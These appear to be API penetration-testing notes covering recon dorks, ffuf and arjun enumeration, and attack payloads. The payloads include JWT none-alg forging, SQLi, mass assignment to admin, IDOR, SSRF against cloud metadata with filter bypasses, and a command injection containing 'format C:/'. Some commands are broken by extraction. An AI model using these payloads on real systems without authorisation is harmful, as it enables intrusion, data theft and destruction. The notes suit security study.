


API PENTESTING NOTES

A graphic featuring the word 'API' in a bold, sans-serif font inside a light beige rounded rectangle. A magnifying glass icon is positioned over the right side of the rectangle, with its handle extending downwards and to the right.

General Notes :

- Endpoint → Path → `"/api/users/123"`
- URL Query :
`https://test.com/channels/2257/widgets/9861`

Equal:

<https://test.com/?channels=2257&widgets=9861>

[1] Methodology :

1. Initial Recon :

- Use **Google dorks** to find common API endpoints:
 - e.g., `site:example.com inurl:/api/`
- Search GitHub for leaked API keys, tokens, or secrets.
- Use **Shodan** to find hosts exposing APIs (e.g., search `content-type: application/json`).
- Check historical API documentation in **Wayback Machine** for forgotten/old endpoints.
- Find exposed API endpoints in JavaScript files

2. Enumerating API endpoints.

3. Finding parameters and HTTP methods.

4. Check if CRUD is implemented via standard HTTP verbs (GET, POST, PUT, DELETE) or through custom endpoints (e.g., `/edit`).

5. Use **Arjun** to find hidden GET/POST parameters .

6. Test what you found :

- Try different HTTP methods (GET, POST, PUT, DELETE).
- Play with parameters (send unexpected values, remove required ones).
 - Check responses for:
 - Sensitive data (PII, tokens)
 - HTTP status codes that hint at hidden functions
- For 500 (Internal Server Error) try changing methods, remove headers, change content types and FUZZ for paramters.
- Look for undocumented or internal endpoints (like `/admin`, `/debug`).

7. Look for API Vulnerability :

- **Data Exposure** [API returns full user object with passwords or tokens.]
- **Mass Assignment**
- **Broken Authentication**
- **Broken Access Control (BAC)**
- **SQL Injection (SQLi)**
- **File Upload Vulnerabilities**
- **Command Injection / Template Injection via Parameters**
- **Server-Side Request Forgery (SSRF)**

[2] Initial Recon :

1. Use Google dorks to find common API endpoints:

```
site:example.com inurl:/api/  
site:example.com inurl:api  
site:example.com inurl:v1  
site:example.com inurl:/app
```

2. Search GitHub for leaked API keys, tokens, or secrets.

```
"api_key"  
"apikey"  
"api_key=" site:github.com  
"token" site:github.com  
"auth" "token"  
"slack_token"  
"GITHUB_TOKEN"  
"HEROKU_API_KEY"  
  
- "company" password  
- "company" secret  
- "company" credentials  
- "company" token  
- "company" config  
- "company" key  
- "company" pass  
- "company" login  
- "company" ftp  
- "company" pwd  
- "company" ssh_auth_password  
- "company" send_key  
- "company" send_keys
```

3. Use Shodan to find hosts exposing APIs

```
org:<company> content-type: application/json
```

4. Check historical API documentation in **Wayback Machine** for forgotten/old endpoints.

```
waybackurls api.target.com | anew wayback_api_docs.txt
```

5. Find exposed API endpoints/Secrets in JavaScript files

- Browser DevTools :

```
- Search For Endpoints/Params :  
- /api  
- /v1  
- path  
- await  
- axios  
- ajax  
- .get(  
- .post(  
|
```

- From Terminal :

```
# Search inside the js file for endpoints  
curl -sf url/inex.2544.js | tr ',(){}' '\n' | grep -E '^path:"'  
  
curl -sf url/inex.2544.js | tr ' "()" '\n' | grep -E '^"/'  
  
# Search inside the js file for paramters  
curl -sf url/in.js | tr ';(),{}' '\n' | grep const | grep '='  
  
# Search For those tremes inside Downloaded JS Files  
grep -E "Route|path|navigate|redirect|push|location.href" *.js  
  
grep -iE 'v[1-9]|api|admin|chunk' *.js  
  
grep -rE  
"aws_access_key|apikey|secret|token|auth|config|admin|password|jwt" *.js
```

=====

[3] Enumerating API :

Finding Endpoints :

```
ffuf -w -H 'user-agent: zzzzz-zzzz' -u http://url/api/FUZZ  
  
# POST JSON ENDPOINTS  
ffuf -X POST -w -H 'user-agent: ' -rate 10 -t 1 -p "0.1-0.3" -u
```

```
$URL/admin/v1/FUZZ -d '{} ' -H 'Content-type: applicaton/json'
```

output :

```
login,signin,signup,...
```

Finding param's :

```
# GET params
ffuf -w -H 'user-agent: ' -rate 10 -t 1 -p "0.1-0.3" -u
https://url/api/v1/gustes?FUZZ

# GET params
ffuf -w burp-parameter-names.txt -H 'user-agent: ' -rate 10 -t 1 -p "0.1-
0.3" -u https://url/v1/events?FUZZ=11

# POST Params Forams
ffuf -x POST -w -H 'user-agent: ' -rate 10 -t 1 -p "0.1-0.3" -u
https://url/backend/gestes -d 'FUZZ=1' -H 'Content-type: application/x-
www-form-urlencoded'

# Use arjun
arjun -u "https://api.example.com" -m GET,POST --stable -w /burp-params -
o params.json
```

Finding HTTP methods :

```
ffuf -t 1 -p "0.1-0.3" -rate 10 -u https://url/api/admin -X METHOD -w
/path/to/wordlist:METHOD

feroxbuster -u http://url/api/v1/admin/ -m GET,POST,PUT,PATCH --scan-
limit 2 -t 1 --rate-limit 10 -d 2 --random-agent
```

Others :

```
# Fuzz for Events No between 1-100
seq 1 100 | ffuf -X POST -w -:FUZZ -u https://url/v1/events/FUZZ/registr

# Fuzz for ROUTES and Params at once
ffuf -w routes:ROUTES -x POST -w raft-med-lowerca -H 'user-agent: zzzzzz-
```

```
zzzz' -u https://url/ROUTES/gestes -r -d 'FUZZ=1' -H 'Content-type: application/x-www-form-urlencoded' -x http://127.0.0.1:8080
```

[4] How To Approach :

Signup/Login :

Authentication Mechanisms

1. API Key Authentication

```
GET /api/data HTTP/1.1
Host: api.example.com
Authorization: Api-Key abc123xyz456

GET /api/data?api_key=abc123xyz456
```

2. Basic Authentication

```
GET /api/data HTTP/1.1
Host: api.example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
```

3. **Bearer Token

```
GET /api/userinfo HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

4. OAuth 2.0 Authorization Code Flow

Use Case: Web apps that access APIs on behalf of a user (e.g., Google, Facebook logins).

Flow :

1. Redirect user to provider for login.
2. User logs in and authorizes.
3. Provider redirects back with a code.
4. App exchanges code for a token.

```
POST /oauth/token HTTP/1.1
```

```
Content-Type: application/x-www-form-urlencoded
```

```
grant_type=authorization_code&code=abc123&redirect_uri=https://yourapp.com/callback
```

Register a New User :

```
curl -X POST http://example.com/api/Users \
-H "Content-Type: application/json" \
-d '{"email": "user1@example.com", "password": "Test1234"}'
```

Login :

```
curl -s -X POST http://example.com/rest/user/login -H "Content-Type: application/json" -d '{"email": "user01@example.com", "password": "12345"}' -v
```

Manual Fuzzing For Signup :

- Try To signup with try and error If **No docs** for the API .
- Check for the response error in many cases it reveal the correct parameters and values that the API expect .
- Try To signup with Form Content-type

```
curl -X POST -H 'user-agent: zzzzz-zzzz' -u http://url/api/v1/user/signup -H 'Content-type: application/x-www-form-urlencoded' -d '"name": "asd@asd.com", "password": "value"'
```

- Try To signup with JSON Content-type with random key, value

```
curl -X POST -d '{"key": "value"}' http://url/api/v1/user/signup -H "Content-Type: application/json" | jq .
```

- Depend on the response try to guess the key and its value

```
curl -d '{"name": "asd@asd.com", "password": "value"}' http://url/api/v1/user/login -H "Content-Type: application/json" | jq .
```

Unauthenticated :

- Try To Enumerating API without being logged in .

=====

[5] API Vulnerabilities :

[+] Information disclosure :

- Watch for APIs returning large datasets.
 - Ask: should this data be public?
- Look for :
 - Robots.txt / Sitemap.xml
 - Might disclose restricted or internal URLs.
 - Error Messages
 - Stack traces, file paths, DB errors
 - JavaScript Files
 - Hardcoded secrets, endpoints, logic
 - Directory Bruteforcing + Hidden Files
 - Wayback Machine Recon
 - `.git`, `.env`, `.sql`, `config.json`, etc.
 - Hardcoded credentials or old API routes.
 - Verbose Errors
 - `?debug=true ?test=1 ?source=admin`

Example :

```
curl internal-API-URL/param?username=bob
curl internal-API-URL/param?username=*
```

[+] Bypass authentication

- Try accessing endpoints with no token, invalid tokens, and tokens from other users.
- Replay, modify, or forge tokens (e.g., JWT, API keys).

[+] Broken Access Control

- Broken **Access Control** [Access someone else's basket]
 - Broken Object **Level Authorization** [changing the ID in Repeater to another number (e.g., `GET /rest/basket/2`)]
 - **Function-Level** BAC flaw [bypass Functionality that for Admin Access only.]
 - Parameter Pollution: Send duplicate parameters in API calls to bypass restrictions.
 - Mass Assignment: Object Property Level Authorization (OPLA)
-

[+] Business Logic Testing

- Can a user submit a payment of \$0.01 instead of \$100?
 - Can a user modify the `user_id` in the request body to get other users' data?
-

[+] Injection vulnerabilities (SQL, NoSQL, Command)

- Fuzz API parameters for injection vulnerabilities
-

[+] Old API versions (Less secure)

- APIs often run multiple versions (e.g., `/api/v1/` vs `/api/v3/`).
 - **ffuf** (fuzz endpoints, fast, command-line)
 - **Arjun** (finds hidden parameters)
-

[+] API Debug Endpoints

Debug endpoints in APIs are routes that developers use during the development phase to inspect application behavior, view logs, test features, or simulate errors. These are usually not intended for production environments because they can reveal sensitive information or provide access to internal application mechanics.

How Debug Endpoints Typically Look

They can appear in various forms depending on the framework, but common patterns include:

- `/debug`
- `/api/debug`

- `/admin/debug`
- `/status` or `/healthcheck` (sometimes debug-like)
- `/__debug__` (Python/Django style)
- `/console`, `/inspect`, `/trace`, `/dump`

They might expose:

- Application logs
- Configuration variables
- Environment variables
- Internal state (e.g., cache contents, memory usage)
- Endpoint tracing
- Mock user sessions

How to Test for Debug Endpoints

1. **Enumerate Routes:** Use tools like `ffuf`, `dirsearch`, or `gobuster`:

```
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e
.php,.json,.html
```

2. **Look for Suspicious or Developer-focused Routes:** Watch for:

- Routes returning detailed errors
- Routes allowing config/state inspection
- Any unauthenticated access to sensitive data

3. **Send Requests with Verbose Headers:** Use `curl` or `Burp Suite`:

```
curl -i http://target.com/debug
```

4. **Fuzz for Parameters or Secrets:** Try common query strings:

```
?debug=true
?test=1
?env=dev
?verbose=1
/api/configuration?_debug=true
```

5. **Examine Headers and Responses for Clues:** Look for headers like `X-Debug-Token`, or verbose error messages.
6. **Use Burp Intruder to Fuzz for Common Debug Triggers:**

```
console
inspect
trace
dump`
status
healthcheck
__debug__
_debug
debugtrace
verbose
dev
test
staging
admin
```

[+] Mass Assignment :

Modern frameworks encourage developers to use functions that automatically bind input from the client into code variables and internal objects. Attackers can use this methodology to update or overwrite sensitive **object's properties** that the developers never intended to expose.

Object Property Level Authorization : Even if the user owns the object, they can manipulate **fields they shouldn't**.

[+] JWT :

- Structure
HEADER . Body . Sign

```
echo $USER1_TOKEN | cut -d '.' -f2 | base64 -d
```

- Attacks:

1. Crack Password

```
crackdone.py -k jwt -t "eyJ0bm9udGVzcyI6ImFkbGUiLCJ0eXBlIjoiYmVhcmR1c2Vzcw==" -w rockyou.txt
```

2. None Alg attack [Not Common in Real Scenarios]

```
1. We don't know the password so change
  {"alg":"HS256","typ":"JWT"}
  {"alg":"None","typ":"JWT"}
|
2. Edit the Body
3. Delet the sign but live the .
  > ey.eyJ.
```

[+] XSS & CSRF via APIs :

- XSS: send payload to API input that reflects output.
- CSRF: trigger sensitive actions if API lacks CSRF protection.
- Combining XSS + CSRF can lead to full account takeover.

[6] Scenario's :

Scenario 1 : API-Token reuse on other subdomain

```
# use api token to access other api's at other subdomain
# for ex:
  app-api.ex.com > app-api-dev.ex.com

# use ffuf with the api token to fuzz for other endpoints :
ffuf -w wordlist.txt -H 'X-API-Token: aaaaaaaa' -r -u https://app-api-dev.ex.com/FUZZ

# api ve 1,2,...
ffuf -w wordlist.txt -H 'X-API-Token: aaaaaaaa' -r -u https://app-api-dev.ex.com/api/FUZZ

ffuf -w wordlist.txt -H 'X-API-Token: aaaaaaaa' -r -u https://app-api-dev.ex.com/api/v2/FUZZ

# look for 405 stats code and test get/post/put or options
ffuf -w wordlist.txt -H 'X-API-Token: aaaaaaaa' -u https://app-api-dev.ex.com/api/v2/FUZZ -mc 200,401,403,405

# if not allowd test manually
curl -ik https://app-api-dev.ex.com/api/v2/some-endpoint -X OPTIONS -H
```

```
'X-API-Token: aaaaaaaa'

# look for the respons what is missing
curl -ik https://app-api-dev.ex.com/api/v2/some-endpoint -X POST -H 'X-API-Token: aaaaaaaa'

# also note for the response content type json/html which may lead to
html injections
curl -ik https://app-api-dev.ex.com/api/v2/some-endpoint -X POST -H 'X-API-Token: aaaaaaaa' -H 'Content-Type: application/json' -d
'{"foo":"bar"}'
```

Scenario 2 : Improper Access Control

- **internal API endpoint** (`/internal-api/config`).
- The API blocked direct requests with a `403 Forbidden` response.
- But when accessed via a **specific Referer header**, it returned **sensitive configuration data!**
- **Payload :**

```
curl -H "Referer: https://dev.target.com/admin"
https://dev.target.com/internal-api/config
```

Scenario 3 : Command Injection

- A video sharing portal allows users to upload content and download content in different formats.
 - An attacker who explores the API found that the endpoint `GET /api/v1/videos/{video_id}/meta_data` returns a JSON object with the video's properties.
 - One of the properties is `"mp4_conversion_params": "-v codec h264"`, which indicates that the application uses a shell command to convert the video.
 - The attacker also found the endpoint `POST /api/v1/videos/new` is vulnerable to mass assignment and allows the client to set any property of the video object.
 - The attacker sets a malicious value as follows: `"mp4_conversion_params": "-v codec h264 && format C:/"`. This value will cause a shell command injection once the attacker downloads the video as MP4.
-

Scenario 4 : Mass Assignment

A ride sharing application provides a user the option to edit basic information for their profile. During this process, an API call is sent to `PUT /api/v1/users/me` with the following legitimate JSON object:

```
{"user_name": "inons", "age": 24}
```

The request `GET /api/v1/users/me` includes an additional `credit_balance` property:

```
{"user_name": "inons", "age": 24, "credit_balance": 10}
```

The attacker replays the first request with the following payload:

```
{"user_name": "attacker", "age": 60, "credit_balance": 99999}
```

Since the endpoint is vulnerable to mass assignment, the attacker receives credits without paying.

Scenario 5 : BOLA in a Banking API

A mobile banking API lets users view their account balances.

Normal Request:

```
GET /api/v1/accounts/789/balance
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cGU6IjY...
```

Exploit Attempt:

Change the ID in the request:

```
GET /api/v1/accounts/790/balance
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cGU6IjY...
```

Result:

Returns another user's balance — **BOLA vulnerability**.

```
curl -H "Authorization: Bearer $TOKEN"
```

```
https://api.bank.com/api/v1/accounts/790/balance
```

```
- The endpoint `/api/v1/export?user_id=123` didn't check permissions.  
Changing `user_id` to `*` returned every customer's PII-names, emails,  
even partial credit card data
```

Scenario 6 : Function Level Abuse in Admin Panel

SaaS dashboard allows admin users to manage all accounts.

Normal User Request:

```
GET /api/user/123/settings
```

Allowed.

Admin-Only Endpoint:

```
DELETE /api/admin/deleteUser?user_id=999
```

Try sending this request as a **regular user**:

```
curl -X DELETE -H "Authorization: Bearer $USER_TOKEN" \  
https://app.saas.com/api/admin/deleteUser?user_id=999
```

Result:

If it deletes another user, it's a **function-level BAC flaw**.

Also :

```
GET /rest/v11/Users?=testuser HTTP/1.1  
Host: https://example.com  
  
GET /rest/v11/Users?=admin HTTP/1.1  
Host: https://example.com
```

Scenario 7 : Mass Assignment via JSON Body

User updates their own profile.

Legitimate Request:

```
PUT /api/v1/profile
Authorization: Bearer eyJhbG...

{ "username": "newuser", "email": "me@example.com" }
```

Exploit Attempt:

Add hidden admin-only fields:

```
{ "username": "newuser", "email": "me@example.com", "is_admin":
true, "role": "admin" }
```

```
curl -X PUT -H "Authorization: Bearer $TOKEN" \ -H "Content-Type:
application/json" \ -d '{"username":"newuser", "email":"me@example.com",
"is_admin":true, "role":"admin"}' \ https://target.com/api/v1/profile
```

Result:

You escalate your role if the API lacks field whitelisting. This is **mass assignment** leading to BAC.

Scenario 8 : IDOR in File Download Endpoint

Users upload and download reports (PDFs).

Legitimate Download:

```
GET /api/files/12345/download
```

Change the file ID:

```
curl -H "Authorization: Bearer $TOKEN"
https://target.com/api/files/12346/download
```

Result:

If it returns another user's PDF, you've hit an **Insecure Direct Object Reference (IDOR)** — classic BAC.

Scenario 9 : SQLi in API

APIs that **don't sanitize input** are vulnerable to **SQL Injection (SQLi)**.

```
GET /api/products?id=1
```

```
sqlmap -u "https://example.com/api/products?id=1" --dbs --batch
```

Scenario 10 : Boolean-Based Blind SQLi in API

```
GET /v1/users.php?format=json&token=2125799jgkhfrrcsp15as5dcd74vfvk  
HTTP/1.1
```

- Check for sqli in token param as json indicate database usage

```
GET /v1/users.php?format=json&token=invalid_token'+or+'1'='1 HTTP/1.1
```

- Valid response

```
GET /v1/users.php?format=json&token=invalid_token'+or+'1'='2 HTTP/1.1
```

- Error
-

Scenario 11 : SSRF Testing in JSON POST Request

1 : Initial Basic SSRF Probe

```
curl -X POST https://api.targetsite.com/v1/image/render \  
-H "Content-Type: application/json" \  
-d '{"imageUrl": "http://127.0.0.1:80"}'
```

Interpret the Response:

- 200 OK + unusual content = Possible SSRF
- 5xx or timeout = Possibly attempted SSRF
- Same response for internal & external = Likely blocked or sanitized

2 : OOB Detection with `interactsh`

Start listener:

```
interactsh-client
```

Send SSRF payload:

```
curl -X POST https://api.targetsite.com/v1/image/render \
-H "Content-Type: application/json" \
-d '{"imageUrl": "http://yourdomain.oastify.com"}'
```

If `interactsh` gets a hit, **SSRF is confirmed**.

3 : Metadata Service Access (AWS)

```
curl -X POST https://api.targetsite.com/v1/image/render \
-H "Content-Type: application/json" \
-d '{"imageUrl": "http://169.254.169.254/latest/meta-data/iam/"}'
```

Check for:

- IAM keys
- Instance identity
- User data

4 : Use URL Obfuscation to Bypass Filters

Try these variations:

```
# Decimal IP
"http://2130706433"
|
# DNS rebind
"http://internal-api.attacker.com"
|
# SSRF via localhost alias
"http://localhost" "http://127.0.0.1" "http://[::1]"
|
```

5 : Headers for Whitelisting Evasion

Add headers like:

```
-H "X-Forwarded-Host: 169.254.169.254"
```

```
-H "Host: 127.0.0.1"
```

```
|
```

=====